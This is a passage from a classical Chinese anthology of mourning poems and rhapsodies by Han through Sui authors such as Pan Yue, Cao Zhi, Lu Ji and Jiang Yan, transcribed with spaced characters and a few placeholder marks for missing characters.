悲 心 .\n晋 潘 岳 关 中 诗 曰 . 哀 此 黎 元 . 无 罪 无 辜 . 肝 脑 涂 地 . 白 骨 交 衢 . 夫 行 妻 寡 . 父 出 子 孤 . 俾 我 晋 民 . 化 为 狄 俘 .\n又 哀 诗 曰 . 漼 如 叶 落 树 . 邈 若 雨 绝 天 . 雨 绝 有 归 云 . 叶 落 何 连 山 . 时 气 冒 岗 岭 . 长 风 鼓 松 柏 . 堂 虚 闻 鸟 声 . 室 暗 如 日 夕 . 昼 愁 奄 逮 昏 . 夜 思 忽 终 昔 . 展 转 独 悲 穷 . 泣 下 沾 枕 席 . 人 居 天 地 间 . 飘 若 远 行 客 . 先 后 讵 能 几 . 谁 能 獘 金 石 .\n又 悼 亡 诗 曰 . 皎 皎 窗 中 月 . 照 我 室 南 端 . 清 商 应 秋 至 . 溽 暑 随 节 阑 . 凛 凛 凉 风 升 . 始 觉 夏 衾 单 . 岂 曰 无 重 纩 . 谁 与 同 岁 寒 . 岁 寒 无 与 同 . 朗 月 何 胧 胧 . 展 转 眄 枕 席 . 长 簟 竟 床 空 . 床 空 委 清 尘 . 室 虚 来 悲 风 . 沾 胸 安 能 已 . 悲 怀 从 中 起 . 寝 兴 目 存 形 . 遗 音 犹 在 耳 .\n又 悼 亡 诗 曰 . 荏 苒 冬 春 谢 . 寒 暑 忽 流 易 . 之 子 归 穷 泉 . 重 壤 永 幽 隔 . 望 庐 思 其 人 . 入 室 想 所 历 . 帷 屏 无 髣 佛 . 翰 墨 有 余 迹 . 流 芳 未 及 歇 . 遗 桂 犹 在 壁 . 怅 脱 如 或 存 . 回 遑 忡 惊 惕 . 如 彼 翰 林 鸟 . 双 栖 一 朝 只 . 如 彼 游 川 鱼 . 比 目 中 路 隔 .\n又 思 子 诗 曰 . 造 化 甄 品 物 . 天 命 代 虚 盈 . 奈 何 念 稚 子 . 怀 奇 陨 幼 龄 . 追 想 存 髣 佛 . 感 道 伤 中 情 . 一 往 何 时 还 . 千 载 不 复 生 .\n宋 颜 延 之 除 弟 服 诗 曰 . 徂 没 离 二 秋 . 淹 泣 备 三 冬 . 往 辰 缅 难 纪 . 来 筭 忽 易 穷 . 升 没 奄 期 晦 . 洒 扫 易 礼 容 . 缟 衣 变 余 体 . 长 逝 归 尔 躬 .\n又 辞 难 潮 沟 诗 曰 . 徘 徊 眷 郊 甸 . 俛 仰 引 单 襟 . 一 涂 苟 不 豫 . 百 虑 毕 来 侵 . 永 怀 交 在 昔 . 有 愿 瑟 琴 . 写 言 劳 者 事 . 将 用 慰 亡 簪 .\n齐 谢 朓 铜 爵 台 妓 诗 曰 . 穗 帷 飘 井 干 . 尊 酒 若 平 生 . 郁 郁 西 陵 树 . 讵 闻 歌 吹 声 . 芳 襟 染 泪 迹 . 婵 媛 空 复 情 . 玉 坐 犹 寂 寞 . 况 乃 妾 身 轻 .\n梁 简 文 帝 伤 美 人 诗 曰 . 昔 闻 倡 女 别 . 荡 子 无 归 期 . 今 似 陈 王 叹 . 流 风 难 重 思 . 翠 带 留 余 结 . 苔 阶 没 故 基 . 图 形 更 非 是 . 梦 见 反 成 疑 . 熏 鑪 含 好 气 . 庭 树 吐 华 滋 . 香 烧 日 有 歇 . 花 落 无 还 时 .\n梁 任 昉 哭 范 仆 射 诗 曰 . 平 生 礼 数 绝 . 式 瞻 在 国 祯 . 一 朝 万 化 尽 . 犹 我 故 人 情 . 已 矣 平 生 事 . 咏 歌 盈 箧 笥 . 兼 复 相 嘲 谑 . 常 与 虚 舟 值 . 何 时 见 范 侯 . 还 凉 平 生 意 .\n梁 沈 约 萧 丞 相 弟 诣 世 子 车 中 作 诗 曰 . 廉 公 失 权 势 . 门 馆 有 虚 盈 . 贵 贱 犹 如 此 . 况 乃 曲 池 平 . 高 车 尘 未 灭 . 珠 履 故 余 声 . 宾 阶 绿 钱 满 . 客 位 紫 苔 生 . 唯 当 九 原 上 . 郁 郁 望 佳 城 .\n梁 萧 子 范 入 元 襄 王 第 诗 曰 . 伏 轼 窥 东 苑 . 收 泪 下 玉 桥 . 昔 时 方 毂 处 . 于 今 共 寂 寥 . 夹 池 犹 袅 袅 . 仙 榭 尚 迢 迢 . 一 同 西 靡 柏 . 徒 思 芳 树 萧 .\n梁 王 筠 和 萧 子 范 入 元 襄 王 第 诗 曰 . 昔 入 睢 阳 苑 . 连 步 披 风 云 . 今 游 故 台 处 . 向 望 阒 无 人 . 皓 壁 留 余 篆 . 蕙 圃 有 余 芬 . 行 人 皆 陨 涕 . 何 独 孟 尝 君 .\n梁 吴 筠 伤 友 诗 曰 . 可 怜 桂 树 枝 . 怀 芳 君 不 知 . 摧 折 寒 山 里 . 遂 死 无 人 窥 .\n梁 何 逊 行 经 范 仆 射 故 宅 诗 曰 . 旅 葵 应 蔓 井 . 荒 藤 已 上 扉 . 寂 寂 空 郊 暮 . 无 复 车 马 归 . 潋 滟 故 池 水 . 苍 茫 落 日 晖 . 阒 寂 今 如 此 . 行 客 尽 沾 衣 .\n又 铜 爵 台 妓 诗 曰 . 秋 风 木 叶 落 . 萧 瑟 弦 管 清 . 望 陵 歌 对 酒 . 向 帐 舞 空 城 . 寂 寂 檐 宇 旷 . 飘 飘 帷 幔 轻 . 曲 终 相 顾 起 . 日 暮 松 柏 声 .\n梁 刘 孝 绰 铜 爵 台 妓 诗 曰 . 爵 台 三 五 日 . 歌 吹 似 佳 期 . 定 对 西 陵 晚 . 松 风 飘 素 帷 . 危 弦 断 更 接 . 心 伤 于 此 时 . 何 言 留 客 袂 . 翻 掩 望 陵 悲 .\n梁 庾 肩 吾 乱 后 经 吴 邮 亭 诗 曰 . 邮 亭 一 回 望 . 风 尘 千 里 昏 . 青 袍 异 春 草 . 白 马 即 吴 门 . 獯 戎 鞭 伊 洛 . 杂 种 乱 轘 辕 . 辇 道 同 关 塞 . 王 城 似 太 原 . 休 明 鼎 尚 重 . 秉 礼 国 犹 存 . 殷 牖 爻 虽 ● . 尧 城 吏 转 尊 . 泣 血 悲 东 走 . 横 戈 念 北 奔 . 方 凭 七 庙 略 . 誓 雪 五 陵 冤 . 人 事 今 如 此 . 天 道 共 谁 论 .\n周 庾 信 伤 周 处 士 诗 曰 . 冥 漠 尔 游 岱 . 凄 凉 予 向 秦 . 虽 言 异 生 死 . 同 是 不 归 人 . 怅 然 张 仲 蔚 . 悲 哉 郑 子 真 . 三 山 犹 有 鹤 . 五 柳 更 应 春 . 遂 令 从 渭 水 . 投 钓 往 江 滨 .\n周 王 褒 送 观 宁 侯 葬 诗 曰 . 丹 旐 书 空 位 . 素 帐 设 虚 樽 . 楚 琴 南 操 绝 . 韩 书 旧 说 存 . 西 靡 伤 新 树 . 东 陵 惜 故 园 . 自 怜 悲 谷 影 . 弥 念 玉 关 门 . 余 晖 天 尽 末 . 夕 雾 起 山 根 . 平 原 看 独 树 . 皋 亭 望 列 村 . 寂 寥 还 盖 靖 . 荒 茫 归 路 昏 . 挽 铎 已 流 唱 . 童 歌 行 自 喧 . 眷 言 千 载 后 . 谁 将 游 九 原 .\n又 送 刘 中 书 葬 诗 曰 . 昔 别 伤 南 浦 . 今 悲 去 北 邙 . 书 生 空 托 梦 . 久 客 每 思 乡 . 塞 近 边 云 黑 . 尘 昏 野 日 黄 . 陵 谷 俄 迁 变 . 松 柏 易 荒 凉 . 题 铭 无 复 迹 . 何 处 验 龟 长 .\n陈 沈 炯 望 郢 州 城 诗 曰 . 魂 兮 何 处 反 . 非 死 复 非 仙 . 坐 柯 如 昨 日 . 石 合 未 淹 年 . 历 阳 顿 成 浦 . 东 海 果 为 田 . 空 忆 扶 风 咏 . 谁 见 岘 山 传 . 世 变 才 良 改 . 时 移 民 物 迁 . 悲 哉 孙 骠 骑 . 悠 悠 哭 彼 天 .\n又 长 安 还 至 方 山 怆 然 自 伤 诗 曰 . 秦 军 坑 赵 卒 . 遂 有 一 人 生 . 虽 还 旧 乡 里 . 危 心 曾 未 平 . 淮 源 比 桐 柏 . 方 山 似 削 成 . 犹 疑 屯 虏 骑 . 尚 畏 值 胡 兵 . 空 村 余 拱 木 . 废 邑 有 颓 城 . 旧 识 莫 不 尽 . 新 知 皆 异 名 . 百 年 三 万 日 . 处 处 此 伤 情 .\n陈 阴 铿 和 樊 晋 陵 伤 妾 诗 曰 . 画 梁 朝 日 尽 . 芳 树 落 花 辞 . 忽 以 千 金 笑 . 长 作 九 泉 悲 . 镜 前 尘 剧 粉 . 机 上 网 多 丝 . 户 余 双 入 鷰 . 床 有 一 空 帷 . 名 香 不 可 得 . 何 见 反 魂 时 .\n陈 张 正 见 铜 爵 台 诗 曰 . 荒 凉 铜 爵 晚 . 摇 落 墓 田 通 . 云 惨 当 歌 日 . 松 吟 欲 舞 风 . 人 疏 瑶 席 冷 . 曲 罢 穗 帷 空 . 可 惜 年 将 泪 . 俱 尽 望 陵 中 .\n隋 江 总 奉 和 东 宫 经 故 妃 旧 殿 诗 曰 . 故 殿 看 看 冷 . 空 阶 步 步 悲 . 犹 忆 窥 窗 处 . 还 如 解 佩 时 . 苔 生 无 意 早 . 鷰 入 有 言 迟 . 若 令 归 就 月 . 照 见 不 须 疑 .\n又 伤 顾 野 王 诗 曰 . 独 酌 一 樽 酒 . 高 咏 七 哀 诗 . 何 言 蒿 里 别 . 非 复 竹 林 期 . 阶 荒 郑 公 草 . 户 阒 董 生 帷 . 人 随 暮 槿 落 . 客 共 晚 鹦 悲 . 年 发 两 如 此 . 伤 心 独 几 时 .\n又 和 张 源 伤 往 诗 曰 . 小 妇 当 鑪 夜 . 夫 婿 凯 师 年 . 正 歌 千 里 曲 . 翻 入 九 重 泉 . 机 中 未 断 素 . 瑟 上 本 留 弦 . 空 帐 临 窗 掩 . 孤 灯 向 壁 燃 . 还 悲 塞 垄 曙 . 松 短 未 生 烟 .\n【 赋 】 汉 武 帝 李 夫 人 赋 曰 . 饰 新 宫 以 延 伫 . 泯 不 归 乎 故 乡 . 惨 郁 郁 其 芜 秽 . 处 隐 隐 而 怀 伤 . 释 舆 马 于 山 椒 . 奄 修 夜 之 不 阳 . 秋 气 憯 以 凄 戾 . 桂 枝 落 而 消 亡 . 神 茕 茕 以 遥 思 . 精 浮 游 而 出 彊 . 托 沉 阴 以 旷 久 . 惜 繁 华 之 未 央 . 念 穷 极 之 不 逮 . 惟 要 妙 而 相 佯 .\n后 汉 苏 顺 叹 怀 赋 曰 . 悲 终 风 之 陨 ● . 条 枝 梢 以 摧 伤 . 桂 敷 荣 而 方 盛 . 遭 暮 冬 之 隆 霜 . 华 菲 菲 之 将 实 . 中 夭 零 而 消 亡 . 童 乌 浚 其 明 哲 . 悲 何 寿 之 不 将 . 嗟 刘 生 之 若 兹 . 奄 弥 留 而 永 丧 .\n魏 文 帝 悼 夭 赋 曰 . 族 弟 文 仲 . 亡 时 年 十 一 . 母 氏 伤 其 夭 逝 . 追 悼 无 已 . 予 以 宗 族 之 爱 . 乃 作 斯 赋 . 气 纡 结 以 填 胸 . 不 知 涕 之 纵 横 . 时 徘 徊 于 旧 处 . 睹 灵 衣 之 在 床 . 感 遗 物 之 如 故 . 痛 尔 身 之 独 亡 . 愁 端 坐 而 无 聊 . 心 戚 戚 而 不 宁 . 步 广 厦 而 踟 蹰 . 览 萱 草 于 中 庭 . 悲 风 萧 其 夜 起 . 秋 气 憯 以 厉 情 . 仰 瞻 天 而 太 息 . 闻 别 鸟 之 哀 鸣 .\n又 寡 妇 赋 曰 . 陈 留 阮 元 瑜 早 亡 . 每 感 存 其 遗 孤 . 未 尝 不 怆 然 伤 心 . 故 作 斯 赋 . 惟 生 民 兮 艰 危 . 在 孤 寡 兮 常 悲 . 人 皆 处 兮 欢 乐 . 我 独 怨 兮 无 依 . 抚 遗 孤 兮 太 息 . 俛 哀 伤 兮 告 谁 . 三 辰 周 兮 递 照 . 寒 暑 运 兮 代 臻 . 历 夏 日 兮 苦 长 . 涉 秋 夜 兮 漫 漫 . 微 霜 陨 兮 集 庭 . 鷰 雀 飞 兮 我 前 . 去 秋 兮 就 冬 . 改 节 兮 时 寒 . 水 凝 兮 成 冰 . 雪 落 兮 翻 翻 . 伤 薄 命 兮 寡 独 . 内 惆 怅 兮 自 怜 .\n又 感 物 赋 曰 . 丧 乱 以 来 . 天 下 城 郭 丘 墟 . 惟 从 太 仆 君 宅 尚 在 . 南 征 荆 州 . 还 过 乡 里 . 舍 焉 . 乃 种 诸 蔗 于 中 庭 . 涉 夏 历 秋 . 先 盛 后 衰 . 悟 兴 废 之 无 常 . 慨 然 永 叹 . 乃 作 斯 赋 . 伊 阳 春 之 散 节 . 悟 干 坤 之 交 ● . 瞻 玄 云 之 蓊 郁 . 仰 沉 阴 之 杳 冥 . 降 甘 雨 之 丰 霈 . 垂 长 溜 之 泠 泠 . 掘 中 堂 而 为 圃 . 植 诸 蔗 于 前 庭 . 涉 炎 夏 而 既 盛 . 迄 凛 秋 而 将 衰 . 岂 在 斯 之 独 然 . 信 人 物 其 有 之 .\n魏 陈 王 曹 植 慰 子 赋 曰 . 彼 凡 人 之 相 亲 . 小 离 别 而 怀 恋 . 况 中 殇 之 爱 子 . 乃 千 秋 而 不 见 . 入 空 室 而 独 倚 . 对 床 帷 而 切 叹 . 痛 人 亡 而 物 在 . 心 何 忍 而 复 观 . 日 晼 晚 而 既 没 . 月 代 照 而 舒 光 . 仰 列 星 以 至 晨 . 衣 沾 露 而 含 霜 . 惟 逝 者 之 日 远 . 怆 伤 心 而 绝 肠 .\n魏 高 贵 乡 公 伤 魂 赋 曰 . 王 师 东 征 . 宗 正 曹 并 . 以 宗 室 材 能 . 兼 侍 中 从 行 . 到 顷 得 疾 . 数 日 亡 . 意 甚 伤 之 . 为 作 此 赋 . 宗 臣 充 于 常 伯 . 体 材 艺 而 中 良 . 何 旻 天 之 不 怙 . 遘 暴 疾 而 陨 亡 . 惟 厥 疾 之 初 发 . 若 常 疾 之 轻 微 . 未 经 日 而 况 笃 . 气 惙 惙 而 耗 衰 . 歧 鹊 骋 技 而 弗 救 . 岂 药 石 之 能 追 . 精 魂 忽 已 消 散 . 神 眇 眇 而 长 违 .\n魏 王 粲 伤 夭 赋 曰 . 惟 皇 天 之 赋 命 . 实 浩 荡 而 不 均 . 或 老 终 以 长 世 . 或 昏 夭 而 夙 泯 . 物 虽 存 而 人 亡 . 心 惆 怅 而 长 慕 . 哀 皇 天 之 不 惠 . 抱 此 哀 而 何 愬 . 求 魂 神 之 形 影 . 羌 幽 冥 而 弗 迕 . 淹 低 徊 以 想 像 . 心 弥 结 而 纡 萦 . 昼 忽 忽 其 若 昏 . 夜 炯 炯 而 至 明 .\n又 思 友 赋 曰 . 登 城 隅 之 高 观 . 忽 临 下 以 翱 翔 . 行 游 目 于 林 中 . 睹 旧 人 之 故 场 . 身 既 没 而 不 见 . 余 迹 存 而 未 丧 . 沧 浪 浩 兮 回 流 波 . 水 石 激 兮 扬 素 精 . 夏 木 兮 结 茎 . 春 鸟 兮 愁 鸣 . 平 原 兮 泱 莽 . 绿 草 兮 罗 生 . 超 长 路 兮 逶 迤 . 实 旧 人 兮 所 经 . 身 既 逝 兮 幽 翳 . 魂 眇 眇 兮 藏 形 . 又 寡 妇 赋 曰 . 阖 门 兮 却 扫 . 幽 处 兮 高 堂 . 提 孤 孩 兮 出 户 . 与 之 步 兮 东 厢 . 顾 左 右 兮 相 怜 . 意 凄 怆 兮 摧 伤 . 观 草 木 兮 敷 荣 . 感 倾 叶 兮 落 时 . 人 皆 怀 兮 欢 豫 . 我 独 感 兮 不 怡 . 日 掩 暧 兮 不 昏 . 朗 月 皎 兮 扬 晖 . 坐 幽 室 兮 无 为 . 登 空 床 兮 下 帏 . 涕 流 连 兮 交 颈 . 心 憯 结 兮 增 悲 .\n魏 丁 廙 妻 寡 妇 赋 曰 . 惟 女 子 之 有 行 . 固 历 代 之 彝 伦 . 辞 父 母 而 言 归 . 奉 君 子 之 情 尘 . 如 悬 萝 之 附 松 . 似 浮 萍 之 托 津 . 何 性 命 之 不 造 . 遭 世 路 之 险 迍 . 荣 华 晔 其 始 茂 . 所 恃 奄 其 徂 泯 . 静 闭 门 以 却 扫 . 魂 孤 茕 以 穷 居 . 刷 朱 扉 以 白 垩 . 易 玄 帐 以 素 帱 . 含 惨 悴 以 何 诉 . 抱 弱 子 以 自 慰 . 时 翳 翳 以 东 阴 . 日 亹 亹 以 西 坠 . 鸡 敛 翼 以 登 栖 . 雀 分 散 以 赴 肆 . 还 空 床 以 下 帷 . 拂 衾 褥 以 安 寐 . 想 逝 者 之 有 凭 . 因 宵 夜 之 髣 佛 . 痛 存 没 之 异 路 . 终 窈 漠 而 不 至 . 时 荏 苒 而 不 留 . 将 迁 ● 以 大 行 . 驾 龙 爫 于 门 侧 . 设 祖 祭 于 前 廊 . 彼 生 离 其 犹 难 . 矧 永 绝 而 不 伤 . 自 衔 恤 而 在 疚 . 履 冰 冬 之 四 节 . 风 萧 萧 而 增 劲 . 寒 凛 凛 而 弥 切 . 霜 凄 凄 而 夜 降 . 水 溓 溓 而 晨 结 . 瞻 ● 宇 之 空 虚 . 悲 屏 幌 之 徒 设 . 仰 皇 天 而 叹 息 . 肠 一 日 而 九 结 . 惟 人 生 于 世 上 . 若 驰 骥 之 过 棂 . 计 先 后 其 何 几 . 亦 同 归 乎 幽 冥 .\n晋 陆 机 叹 逝 赋 曰 . 昔 每 闻 长 老 . 追 计 平 生 同 时 亲 故 . 或 曾 共 游 一 途 . 同 宴 一 室 . 十 年 之 外 . 索 然 已 尽 . 以 是 思 哀 . 哀 可 知 矣 . 赋 曰 . 悲 夫 . 川 阅 水 以 成 川 . 水 滔 滔 而 日 度 . 世 阅 人 而 为 世 . 人 冉 冉 而 行 暮 . 人 何 世 而 弗 新 . 世 何 人 之 能 故 . 亮 造 化 之 若 兹 . 吾 安 取 夫 久 长 . 痛 灵 根 之 夙 陨 . 怨 具 尔 之 多 丧 . 悼 堂 构 之 隤 瘁 . 愍 城 阙 之 丘 荒 . 亲 弥 懿 其 已 逝 . 交 何 戚 而 不 亡 . 弥 年 时 之 讵 几 . 夫 何 往 而 不 残 . 或 冥 邈 而 既 尽 . 或 寥 廓 而 仅 半 . 信 松 茂 而 柏 悦 . 嗟 芝 焚 而 蕙 叹 . 苟 性 命 之 弗 殊 . 岂 同 波 而 异 澜 . 年 弥 往 而 念 广 . 涂 薄 暮 而 迫 迮 . 顾 旧 要 于 遗 存 . 得 十 一 于 千 百 .\n又 愍 思 赋 曰 . 予 屡 抱 孔 怀 之 痛 . 而 奄 复 丧 同 生 姊 . 衔 恤 哀 伤 . 一 载 之 间 . 而 丧 制 便 过 . 故 作 此 赋 . 以 纾 惨 恻 之 感 . 时 方 至 其 倏 忽 . 岁 既 去 其 晼 晚 . 乐 来 日 之 有 继 . 伤 颓 年 之 莫 纂 . 览 万 物 以 澄 念 . 怨 伯 姊 之 已 远 . 寻 遗 尘 之 思 长 . 瞻 日 月 之 何 短 . 升 降 乎 阶 际 . 顾 眄 兮 屏 营 . 云 承 宇 兮 蔼 蔼 . 风 入 室 兮 泠 泠 . 仆 从 为 我 悲 . 孤 鸟 为 我 鸣 .\n又 大 暮 赋 曰 . 夫 死 生 是 失 得 之 大 者 . 故 乐 莫 甚 焉 . 哀 莫 深 焉 . 使 死 而 有 知 乎 . 安 知 其 不 如 生 . 如 遂 无 知 耶 . 又 何 生 之 足 恋 . 故 极 言 其 哀 . 而 终 之 以 达 . 庶 以 开 夫 近 俗 云 . 夫 何 天 地 之 辽 阔 . 而 人 生 之 不 可 久 长 . 日 引 月 而 并 陨 . 时 惟 岁 而 俱 丧 . 徒 假 愿 于 须 臾 . 指 夕 景 而 为 誓 . 忽 呼 吸 而 不 振 . 奄 神 徂 而 形 獘 . 于 是 六 亲 云 起 . 姻 族 如 林 . 争 涂 掩 泪 . 望 门 举 音 . 敷 幄 席 以 悠 想 . 陈 备 物 而 虞 灵 . 仰 寥 廓 而 无 见 . 俯 寂 寞 而 无 声 . 肴 饛 饛 其 不 毁 . 酒 湛 湛 而 每 盈 . 屯 送 客 于 山 足 . 伏 埏 道 而 哭 之 . 扃 幽 户 以 大 毕 . 溯 玄 阙 而 长 辞 . 归 无 涂 兮 往 不 反 . 年 弥 去 兮 逝 弥 远 . 弥 远 兮 日 隔 . 无 涂 兮 曷 因 . 庭 树 兮 叶 落 . 暮 草 兮 根 陈 .\n晋 潘 岳 悼 亡 赋 曰 . 伊 良 嫔 之 初 降 . 几 二 纪 以 迄 兹 . 遭 两 门 之 不 造 . 备 荼 毒 而 尝 之 . 婴 生 艰 之 至 极 . 又 薄 命 而 早 终 . 含 芬 华 之 芳 列 . 翩 零 落 而 从 风 . 神 飘 忽 而 不 反 . 形 焉 得 而 久 安 . 袭 时 服 于 遗 质 . 表 铅 华 于 余 颜 . 问 筮 嫔 之 何 期 . 宵 过 分 而 参 阑 . 讵 几 时 而 见 之 . 目 眷 恋 以 相 属 . 听 诹 人 之 唱 筹 . 来 声 叫 以 连 续 . 闻 冬 夜 之 恒 长 . 何 此 夕 之 一 促 . 且 伉 俪 之 片 合 . 垂 明 哲 乎 嘉 礼 . 苟 此 义 之 不 谬 . 乃 全 身 之 半 体 . 吾 闻 丧 礼 之 在 妻 . 谓 制 重 而 哀 轻 . 既 履 冰 而 知 寒 . 吾 今 信 其 缘 情 . 夕 既 昏 兮 朝 既 清 . 延 尔 族 兮 临 后 庭 . 入 空 室 兮 望 灵 座 . 帷 飘 飘 兮 灯 荧 荧 . 灯 荧 荧 兮 如 故 . 帷 飘 飘 兮 若 存 . 物 未 改 兮 人 已 化 . 馈 生 尘 兮 酒 停 樽 . 春 风 兮 泮 冰 . 初 阳 兮 戒 温 . 逝 摇 摇 兮 浸 远 . 嗟 茕 茕 兮 孤 魂 .\n又 寡 妇 赋 曰 . 乐 安 任 子 咸 者 . 予 少 而 欢 焉 . 不 幸 弱 冠 而 终 . 其 妻 又 吾 姨 也 . 故 作 斯 赋 . 伊 女 子 之 有 行 . 爰 奉 嫔 于 高 族 . 承 庆 云 之 光 覆 . 荷 君 子 之 恩 渥 . 奉 蒸 尝 之 效 顺 . 供 洒 埽 以 弥 载 . 荣 华 晔 其 始 茂 . 良 人 忽 以 损 背 . 愁 烦 冤 其 谁 告 . 提 孤 孩 于 坐 侧 . 时 暧 暧 而 向 昏 . 日 杳 杳 而 西 匿 . 雀 群 飞 而 赴 楹 . 鸡 登 栖 而 敛 翼 . 归 空 馆 而 自 怜 . 抚 衾 帱 以 叹 息 . 耳 倾 想 于 畴 昔 . 目 髣 佛 乎 平 素 . 虽 冥 冥 而 罔 觌 . 犹 依 依 以 凭 附 . 自 仲 夏 而 在 疾 . 逾 履 霜 以 践 冰 . 雪 霏 霏 而 骤 落 . 风 浏 浏 而 夙 兴 . 意 惚 恍 以 迁 越 . 神 一 夕 而 九 升 . 庶 浸 远 而 哀 降 . 情 恻 恻 而 弥 甚 . 愿 假 梦 以 通 灵 . 目 炯 炯 而 不 寝 . 夜 漫 漫 以 悠 悠 . 寒 凄 凄 以 凛 凛 . 气 愤 薄 以 乘 胸 . 涕 交 横 而 流 枕 . 重 曰 . 仰 皇 天 兮 叹 息 . 私 自 怜 兮 何 极 . 省 微 躬 兮 孤 弱 . 顾 稚 子 兮 未 识 . 如 涉 川 兮 无 津 . 若 陵 虚 兮 失 翼 .\n晋 王 浑 妻 钟 遐 思 赋 曰 . 惟 仲 秋 之 惨 凄 . 百 草 萎 悴 而 变 衰 . 鷰 翔 逝 而 归 海 . 蟋 蟀 鸣 而 相 追 . 坐 虚 堂 而 无 寥 . 嗟 我 心 之 多 怀 . 怅 遐 思 而 内 结 . 嗟 尔 姜 任 . 邈 不 我 留 . 谋 民 生 之 未 几 . 吾 何 为 其 多 愁 . 凉 风 萧 条 . 露 沾 我 衣 . 忧 来 多 方 . 慨 然 永 怀 . 感 飞 鸟 之 反 乡 . 咏 卫 女 之 思 归 . 于 是 周 游 容 与 . 逍 遥 仿 徨 . 悲 民 生 之 局 促 . 愿 轻 举 之 遐 翔 .\n晋 刘 ○ 按 当 作 纽 . 滔 母 孙 氏 悼 艰 赋 曰 . 伊 禀 命 之 不 辰 . 遭 天 难 之 靡 忱 . 夙 无 父 之 何 怙 . 哀 壅 瘁 以 抽 心 . 览 蓼 莪 之 遗 咏 . 咏 肥 泉 之 余 音 . 经 四 位 之 代 谢 . 虽 积 祀 而 思 深 . 伊 三 从 而 有 归 . 爰 奉 嫔 于 他 族 . 仰 慈 姑 之 惠 和 . 荷 仁 泽 之 陶 渥 . 释 褧 服 以 斩 衣 . 代 罗 帷 以 缟 布 . 仰 慈 尊 以 饮 泣 . 抚 孤 景 以 协 慕 . 遇 飞 廉 之 暴 骸 . 触 惊 风 之 所 会 . 扶 摇 奋 而 上 跻 . 颓 云 下 而 无 际 . 顿 余 邑 之 当 春 . 望 峻 陵 而 郁 青 . 瞻 空 宇 之 寥 廓 . 愍 宿 草 之 发 生 . 顾 南 枝 以 永 哀 . 向 北 风 以 饮 泣 . 情 无 触 而 不 悲 . 思 无 戚 而 不 集 .\n宋 孝 武 帝 拟 汉 武 帝 李 夫 人 赋 曰 . 观 周 氏 之 逸 篇 . 览 汉 室 之 遗 篆 . 吊 新 宫 之 掩 映 . 嗟 璧 台 之 芜 践 . 虽 媛 德 之 有 载 . 竟 滞 悲 其 何 遣 . 念 桂 枝 之 秋 霣 . 惜 瑶 华 之 春 翦 . 彤 殿 ● 兮 素 尘 积 . 翠 戺 芜 兮 紫 苔 生 . 宝 罗 暍 兮 春 幌 重 . 珍 簟 空 兮 夏 帱 局 . 秋 台 恻 兮 碧 烟 凝 . 冬 宫 冽 兮 朱 火 青 . 流 津 有 终 . 深 心 无 歇 . 徙 倚 云 日 . 徘 徊 风 月 . 思 玉 步 于 凤 墀 . 想 金 声 于 鸾 ● .\n宋 谢 灵 运 感 时 赋 曰 . 夫 逝 物 之 感 . 有 生 所 同 . 颓 年 致 悲 . 时 惧 其 速 . 岂 能 忘 怀 . 乃 作 斯 赋 . 相 物 类 以 迨 已 . 闵 交 臂 之 匪 赊 . 揆 大 耋 之 或 遄 . 指 崦 嵫 于 西 河 . 鉴 三 命 于 予 躬 . 怛 行 年 之 蹉 跎 . 于 鶗 鴃 之 先 号 . 挹 芬 芳 而 夙 过 . 微 灵 芝 之 频 秀 . 迫 朝 露 其 如 何 . 虽 发 叹 之 早 晏 . 谅 大 暮 之 同 科 .\n又 伤 己 赋 曰 . 嗟 夫 . 卞 赏 珍 于 连 城 . 孙 别 骏 于 千 里 . 彼 珍 骏 以 贻 爱 . 此 陋 容 其 敢 拟 . 丁 旷 代 之 渥 惠 . 遭 谬 眷 于 君 子 . 眺 徂 岁 之 骤 经 . 睹 芳 春 之 每 始 . 始 春 芳 而 羡 物 . 终 岁 徂 而 感 己 . 貌 憔 悴 以 衰 形 . 意 幽 翳 而 苦 心 . 出 衾 裯 而 载 坐 . 辟 襜 幌 以 迥 临 . 望 步 襜 而 周 流 . 眺 幽 闺 之 清 阴 . 想 轻 綦 之 往 迹 . 餐 和 声 之 余 音 . 播 芬 烟 而 不 熏 . 张 明 镜 而 不 照 . 歌 白 华 而 绝 曲 . 奏 蒲 生 之 促 调 .\n宋 颜 延 之 行 殣 赋 曰 . 嗟 我 来 之 云 远 . 睹 行 殣 于 水 隅 . 崩 朽 棺 以 掩 旷 . 仰 枯 颡 而 枕 衢 . 资 沙 砾 以 含 实 . 藉 水 草 之 襚 储 . 抚 躬 中 涂 . 太 息 兰 渚 . 行 徘 徊 于 永 路 . 时 悄 怆 于 川 侣 .\n宋 鲍 昭 伤 逝 赋 曰 . 晨 登 南 山 . 望 美 中 河 . 露 团 秋 槿 . 风 卷 寒 萝 . 凄 怆 伤 心 . 悲 如 之 何 . 尽 若 穷 烟 . 离 若 箭 弦 . 如 影 灭 地 . 犹 星 殒 天 . 弃 华 宇 于 明 世 . 闲 金 扃 于 下 泉 . 修 堂 庑 而 下 降 . 历 帏 户 而 升 基 . 志 存 业 而 遗 绪 . 身 先 物 而 长 辞 . 日 月 飘 而 不 留 . 命 鯈 忽 而 谁 保 . 发 迎 忧 而 送 华 . 貌 先 悴 而 收 藻 .\n梁 沈 约 伤 美 人 赋 曰 . 信 美 颜 其 如 玉 . 咀 清 畦 而 度 曲 . 思 佳 人 而 未 来 . 望 余 光 而 踯 躅 . 拂 螭 云 之 高 帐 . 陈 九 枝 之 华 烛 . 虚 翡 翠 之 珠 被 . 空 合 欢 之 芳 褥 . 言 欢 爱 之 可 永 . 庶 罗 袂 之 空 裁 . 曾 未 申 其 巧 笑 . 忽 沦 躯 于 夜 台 . 伊 芳 春 之 仲 节 . 夜 犹 长 而 未 遽 . 怅 徙 倚 而 不 眠 . 住 徘 徊 于 故 处 .\n梁 江 淹 伤 友 人 赋 曰 . 静 然 沾 衣 兮 . 悲 袁 友 之 英 秀 . 系 神 绪 而 作 氏 . 胤 灵 枝 而 作 胄 . 轹 四 代 而 式 昌 . 洎 十 叶 而 克 茂 . 友 人 之 生 . 川 岫 降 明 . 譬 如 冬 雪 . 既 华 既 洁 . 将 似 秋 月 . 至 丽 至 彻 . 乃 上 代 而 少 双 . 故 叔 世 而 旷 绝 . 吊 蕙 若 之 暂 芳 . 恸 琬 琰 之 永 缺 . 余 幼 好 于 斯 人 . 乃 神 交 于 一 顾 . 邈 畴 年 之 缱 绻 . 窈 生 平 之 游 遇 . 怀 爱 重 于 素 璧 . 结 分 珍 于 黄 金 . 舍 一 世 而 笑 浅 . 访 古 人 而 求 深 . 固 齐 术 而 共 径 . 岂 异 袖 而 同 襟 . 尔 凝 情 于 霜 柏 . 我 发 志 于 冬 桂 . 带 瑶 玉 而 争 光 . 握 随 珠 而 比 丽 . 